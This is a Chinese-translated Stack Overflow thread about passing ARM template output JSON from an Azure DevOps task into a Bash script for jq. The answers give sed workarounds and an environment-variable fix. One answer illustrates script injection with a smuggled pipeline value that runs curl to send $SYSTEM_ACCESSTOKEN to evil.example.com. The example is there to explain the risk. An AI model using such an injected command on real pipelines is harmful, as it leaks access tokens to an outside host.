我希望启用存储帐户上的静态站点托管,该帐户由Azure资源管理器( ARM )模板在Azure DevOps管道中创建,但无法使jq解析ARM输出变量。
步骤1:创建资源组的Azure DevOps任务YML
- task: AzureResourceGroupDeployment@2
inputs:
azureSubscription: 'AzureSubscription'
action: 'Create Or Update Resource Group'
resourceGroupName: 'vue-demo-app'
location: 'West Europe'
templateLocation: 'Linked artifact'
csmFile: '$(Build.ArtifactStagingDirectory)/infra/infra.json'
csmParametersFile: '$(Build.ArtifactStagingDirectory)/infra/env-arm-params-default.json'
deploymentMode: 'Incremental'
deploymentOutputs: 'appstoragename'
displayName: 'Create or update resource group'日志显示如下:
##[debug]set appstoragename={"appstoragename":{"type":"String","value":"demoappstaticstore"}}因此,此时有一个有效的JSON值返回给Azure DevOps。到现在为止还好。
步骤2:尝试启用存储帐户上的静态网站的Azure DevOps任务
- task: AzureCLI@1
inputs:
azureSubscription: 'AzureSubscription'
scriptLocation: 'inlineScript'
inlineScript: |
echo "Enabling static website hosting on the storage account"
SA_NAME=$(appstoragename) | jq -r '.appstoragename'
echo "Script input argument is: $(appstoragename)"
echo "Parsed storage account name is: $SA_NAME"
az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html日志显示如下:
Enabling static website hosting on the storage account
Script input argument is: {appstoragename:{type:String,value:jvwdemoappstaticstore}}
Parsed storage account name is: 问题是,我正在“失去”$(appstoragename)中的引号,我需要它们,因为我认为jq不喜欢它们不存在的事实。
我怎样才能防止那些引号消失?
发布于 2019-08-07 07:05:22
最后,我使用流编辑器sed修复了JSON,并添加了双引号,这样jq就可以接受它为有效的JSON:
# Needed this to prevent 'brace expansion' - which
# happens at the echo $() part since the armoutputs contains braces
set +B
# I would have also *loved* a nicer solution - but this puts
# quotes and newlines, which makes the input valid JSON for 'jq'
ARGTOJSON=$(echo $(armoutputs) | \
sed -e 's/}/"\n}/g' | \
sed -e 's/{/{\n"/g' | \
sed -e 's/:/":"/g' | \
sed -e 's/,/",\n"/g' | \
sed -e 's/"}/}/g' | \
sed -e 's/}"/}/g' | \
sed -e 's/"{/{/g');
# Now 'jq' is happy to work with the JSON
SA_NAME=$(echo $ARGTOJSON | jq -r .appstoragename.value)在搜索其他解决方案时,我还找到了希森,但这需要我将可执行文件与代码捆绑在一起,因为据我所能判断,没有apt-get可用。
发布于 2022-05-12 13:33:23
TL;DR
使用环境变量:
- task: AzureCLI@1
inputs:
azureSubscription: 'AzureSubscription'
scriptLocation: 'inlineScript'
inlineScript: |
echo "Enabling static website hosting on the storage account"
SA_NAME=$(echo "${APP_STORAGE_NAME}" | jq -r '.appstoragename')
echo "Script input argument is: ${APP_STORAGE_NAME}"
echo "Parsed storage account name is: $SA_NAME"
az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html
env:
APP_STORAGE_NAME: $(appstoragename)详细信息
问题在于您使用JSON字符串作为Bash脚本的源代码的一部分
使用宏语法( $(foo) )引用的Azure管道变量是扩展的“在执行任务之前的运行时”。通过将appstoragename变量(如我们所知的JSON字符串)的值替换为$(appstoragename)输入的值,我们可以看到我们最终构建并运行了这个Bash脚本:
echo "Enabling static website hosting on the storage account"
SA_NAME={"appstoragename":{"type":"String","value":"demoappstaticstore"}} | jq -r '.appstoragename'
echo "Script input argument is: {"appstoragename":{"type":"String","value":"demoappstaticstore"}}"
echo "Parsed storage account name is: $SA_NAME"
az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html正如你所看到的,它甚至不接近我们的实际意思,尤其是第二行。
JSON引号似乎“丢失”的原因是,在第三行中,JSON字符串中的第一个"关闭以echo "Script中的"开头的引用Bash字符串,等等,直到JSON字符串中的最后一个",这恰好与该行上的最终"匹配。因此,与往常一样,Bash使用所有引号,并将结果字符串作为单个参数传递给echo。值得注意的是:
echo。任何键或值中的多个连续空格的序列都会“丢失”,因为它们根本不会传递给echo。示例:
echo“脚本输入参数是:{"app storagename":42}”echo 'Script input …',那么JSON将保留在该行的输出中--除非JSON中的某些键或值包含'!appstoragename Azure管道变量的值为"; curl --data "$SYSTEM_ACCESSTOKEN" http://evil.example.com; echo ",则您的Azure管道访问令牌将被发送(未加密)到Internet上的某个人。正如您所看到的,尝试构建这样的Bash脚本总是会带来痛苦和痛苦,不管是哪种方式。真正的解决方案是将JSON字符串存储在环境变量中,如上面的TL;DR所示。然后,您不需要任何复杂的sed解决方案,您也不需要担心逃离任何东西-你可以直接写你的意思!
发布于 2022-02-03 07:53:39
与@Jochen提供的答案非常相似,我修改了他的答案,使用Azure管道函数"convertToJson“。
首先,您可以定义这样的参数对象。
parameters:
- name : PIPELINE_PARAMS
type : object
default:
parameters:
param1: sample
param2: sample2然后,在bash脚本步骤中,使用SED正确地格式化JSON。
parameters=$(echo "${{ convertToJson(PIPELINE_PARAMS) }}" | \
sed -e 's/^ / "/g' | \
sed -e 's/: /": "/g' | \
sed -e 's/,$/",/g' | \
sed -e 's/"}/}/g' | \
sed -e 's/}"/}/g' | \
sed -e 's/"{/{/g' | \
sed -e 's/\([a-zA-Z0-9]\)$/\1"/g'
);https://stackoverflow.com/questions/57264556
复制相似问题